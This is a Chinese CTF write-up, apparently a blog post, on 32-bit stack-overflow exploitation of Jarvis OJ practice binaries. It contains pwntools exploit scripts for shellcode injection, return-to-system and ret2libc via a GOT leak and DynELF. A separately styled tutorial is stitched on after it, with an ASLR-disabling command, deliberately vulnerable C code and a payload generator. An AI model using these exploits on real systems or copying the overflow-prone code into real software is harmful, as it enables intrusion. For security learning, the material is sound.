简单栈溢出

32位系统简单栈溢出利用总结

输入的函数对输入的字符限制不够就会造成栈溢出漏洞。攻击者可以利用漏洞覆盖返回地址攻击。这里要说的就是对这类漏洞的利用总结。

导入shellcode

例子下载地址
https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5
用于没有开启NX保护的程序

liu@liu-F117-F:~/桌面/oj/level1$ checksec level1
[*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/level1/level1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

直接导入shellcode。

过程:把system(“/bin/sh”)的shellcode放到栈里面–>填充到栈溢出的地方–>把shellcode的起始地址放到原本返回地址的位置。
  用pwntools提供的函数直接生成asm(shellcraft.sh()),使用之前为了防止不必要的错误加上context(arch=’i386’,os=’linux’)。
  程序的堆栈构造是:返回地址+ebp的值+本栈的数据(这里本栈的数据是ebp为栈底,esp为栈顶)。具体要找到填充多少会覆盖到返回地址可以直接看ida里面会显示某个指针到ebp的距离char buf; // [esp+0h] [ebp-88h]这里的返回地址就是0x88+4的位置
除了需要shellcode还需要一个地址(shellcode导入的地址)

from pwn import *
context(arch='i386',os='linux')
#p=process("./level1")
p=remote("pwn2.jarvisoj.com",9877)

p.recvuntil("this:")
stack_addr=int(p.recv(10),16)
p.recvline()
print hex(stack_addr)
payload=asm(shellcraft.sh()).ljust(0x88)+"A"*4+p32(stack_addr)
p.sendline(payload)
p.interactive()
shellcode不能执行

例子下载地址https://dn.jarvisoj.com/challengefiles/level2.54931449c557d0551c4fc2a10f4778a1

liu@liu-F117-F:~/桌面/oj/level2$ checksec level2 
[*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/level2/level2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
liu@liu-F117-F:~/桌面/oj/level2$ 

开启了NX保护。NX是栈内数据不可执行
栈内数据不可执行就要通过执行程序自己的部分来实现我们需要的操作。
程序中找到了system("echo 'Hello World!'");.data:0804A024 00000008 C /bin/sh。只要想办法把system函数的参数换成/bin/sh的地址就能获取shell
规划:填充字符到返回地址–>让返回地址的位置为system函数的地址,同时system函数的参数的位置为/bin/sh的地址。

32位操作系统传递参数是用栈来实现的

 push    100h            ; nbytes
lea     eax, [ebp+buf]
push    eax             ; buf
push    0               ; fd
call    _read
add     esp, 10h

这是调用read(0, &buf, 0x100u);的时候的汇编代码,先入栈的是最后一个参数,幸运的是system函数只有一个参数不需要考虑参数的顺序问题。
也就是说我们只要保证当程序返回到system函数的地址的时候此时的参数已经准备好在对应的位置上。

from pwn import *
#context.log_level="debug"

system_addr=0x0804845C
bin_sh=0x0804A024

#p=process("./level2")
p=remote("pwn2.jarvisoj.com",9878)
p.recvline()
payload="A"*0x88+"A"*4+p32(system_addr)+p32(bin_sh)
p.sendline(payload)
p.interactive()

这里有一点需要注意,这里用的准确的说不是system而是call system 二者的区别是一个返回地址入栈是系统完成的,一个返回地址入栈只能我们(攻击者)来实现。

泄露运行时函数地址

如果程序开启了NX保护又没有system函数还没有/bin/sh字符串要要怎么办呢?
例子下载地址https://dn.jarvisoj.com/challengefiles/level3.rar.1ce2f904ead905afbadd33de1d0c391d
思考:程序运行的时候都会调用一个libc的动态链接共享库,程序本身没有system函数但是共享库里面有system函数它里面还有”/bin/sh”,但是要怎么用呢?
要解决2个难题
  1.靶机的系统运行的libc库是什么版本的,libc库有很多个版本
  2.找到libc库之后怎么确定libc库的加载地址,怎么找到syatem函数的地址。

泄露函数运行时加载的地址
一个函数在库中的偏移是固定的,每个版本的libc库中同一个函数的偏移一般是不同的
也就是说泄露一个libc库函数2个问题就都解决了如果不行就泄露2个。

from pwn import *
main_addr=0x08048484
elf=ELF("level3")
plt_write=elf.plt["write"]
got_write=elf.got["write"]

#p=process("./level3")
p=remote("pwn2.jarvisoj.com",9879)
p.recvline()
payload="A"*0x88+"A"*4+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4)
p.sendline(payload)
write_addr=u32(p.recv(4))
print "write_addr="+hex(write_addr)

这里用write函数实现输出参数顺序就是上面构造的payload的顺序。为了方便操作,让输出之后的程序执行到main_addr。
输出的是got_write指向的内容(*got_write)。
获取libc版本
https://libc.blukat.me/?q=write%3A0x7f2179c14440这个网站可以查询。
离线工具database也能实现不过无论是在线的还是本地的存储的库都不够全,可能会出现没有的情况。下面将讲述一种更好的方法
获取system和”/bin/sh”在加载时的地址
system_addr-system_symbols=write_addr-write_symbols=库的加载地址
  system_addr,write_addr是函数的实际运行地址,其中system_addr是我们要求的地址,write_addr是我们在上一步中泄露出来的地址。
  system_symbols,write_symbols是函数在libc中的偏移,这些在我们获取到libc版本之后都很容易得到。


例子的利用exp

from pwn import *
context.log_level="debug"
p=remote("pwn2.jarvisoj.com",9879)
#p=process("./level3")

elf=ELF("level3")
main_addr=0x08048484
plt_write=elf.plt["write"]
p.recvline()
payload = "A" * 0x88 + "A" * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(elf.got["write"]) + p32(4)
p.send(payload)
write_addr=u32(p.recv(4))
print "write_addr="+hex(write_addr)

libc=ELF("libc-2.19.so")
#libc=ELF("libc6_2.27-3ubuntu1_i386.so")
bss_addr=0x0804a024
libc_system=libc.symbols["system"]
libc_binsh=next(libc.search("/bin/sh"))
libc_write=libc.symbols["write"]
system_addr=write_addr-libc_write+libc_system
binsh_addr=write_addr-libc_write+libc_binsh
print "system_addr="+hex(system_addr)
#raw_input()
p.recvline()
payload = "A" * 0x88 + "A" * 4 + p32(system_addr) + p32(0x77777777) + p32(binsh_addr)

p.sendline(payload)

p.interactive()

泄露到write函数之后

system_addr=write_addr-libc_write+libc_system
binsh_addr=write_addr-libc_write+libc_binsh

来计算需要的地址payload = "A" * 0x88 + "A" * 4 + p32(system_addr) + p32(0x77777777) + p32(binsh_addr)
这一段payload是填充到函数原本的返回地址–>用system函数的地址来覆盖原本的返回地址–>system函数的返回地址–>system函数的参数.
和之前不同的一点是上一个例子中调用的是call system这里的system_addr是system函数开始执行的地址,调用它之前我们也需要把call在栈里面实现。
上面有一点缺陷,libc-2.19.so网站上没有是用下面的方法获取的
自动获取libc版本
为了方便这里直接用pwntools提供的DynELF函数来获取,缺点是速度慢,优点是简单,可移植性强。

from pwn import *
elf=ELF("level3")
main_addr=0x08048484
plt_write=elf.plt["write"]
def leak(address):
    p.recvline()
    payload = "A" * 0x88 + "A" * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
    p.send(payload)
    data=p.recv(4)
    print "%#x => %s" % (address,(data  or '').encode('hex'))
    return data
#p=remote("pwn2.jarvisoj.com",9879)
p=process("./level3")
d=DynELF(leak,elf=ELF("./level3"))
system_addr=d.lookup('system','libc')
print "system_addr="+hex(system_addr)

执行完之后会直接获取到system函数的真实地址,也会下载下来system的库。


### Ubuntu 下简单栈溢出实验教程 #### 实验准备 为了完成一个简单栈溢出实验,需要满足一些前提条件。由于现代操作系统默认启用了多种安全保护机制(如地址空间布局随机化 ASLR 和堆栈不可执行 NX),这些特性会阻止传统的栈溢出攻击方式。因此,在开始之前,需关闭这些防护措施。 可以通过以下命令禁用 ASLR: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` 此操作允许程序的内存布局保持固定位置[^3]。 #### 编写目标代码 编写一段存在缓冲区溢出漏洞的目标代码 `vulnerable.c`: ```c #include <stdio.h> #include <string.h> void get_shell() { printf("You got the shell!\n"); system("/bin/sh"); // 调用 system 函数启动 /bin/sh 来获取 shell [^2] } void vulnerable_function(char *str) { char buffer[64]; strcpy(buffer, str); // 存在缓冲区溢出风险 } int main(int argc, char **argv) { if (argc > 1) { vulnerable_function(argv[1]); } return 0; } ``` 编译该代码时,应禁用堆栈保护功能并启用调试信息以便于分析: ```bash gcc -fno-stack-protector -z execstack -g vulnerable.c -o vulnerable ``` 上述选项的作用如下: - `-fno-stack-protector`: 关闭 GCC 的堆栈保护器。 - `-z execstack`: 将堆栈标记为可执行区域。 - `-g`: 添加调试信息以方便后续逆向工程或动态调试。 #### 获取函数地址 通过反汇编工具查看二进制文件中的函数地址。可以使用 GDB 或者 objdump 工具来定位 `get_shell()` 函数的具体地址。 运行以下命令提取符号表信息: ```bash objdump -d ./vulnerable | grep get_shell ``` 假设输出显示 `get_shell` 地址为 `0x08048522`[^4]。 #### 构造恶意输入 利用 Python 或其他脚本语言生成特定长度的数据流,使其能够覆盖返回地址字段,并将其重定向到 `get_shell` 函数入口处。 下面是一个示例 Python 脚本来创建所需的 payload 数据包: ```python offset = b"A" * 76 # 填充至返回地址偏移量前的位置 return_address = b"\x22\x85\x04\x08" # 替换为目标函数的真实地址(小端序) payload = offset + return_address with open('exploit', 'wb') as f: f.write(payload) ``` 将生成好的 exploit 文件作为参数传递给易受攻击的应用程序即可触发漏洞: ```bash ./vulnerable $(cat exploit) ``` 如果一切正常,则应该可以看到提示消息以及交互式的 Shell 提供访问权限。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值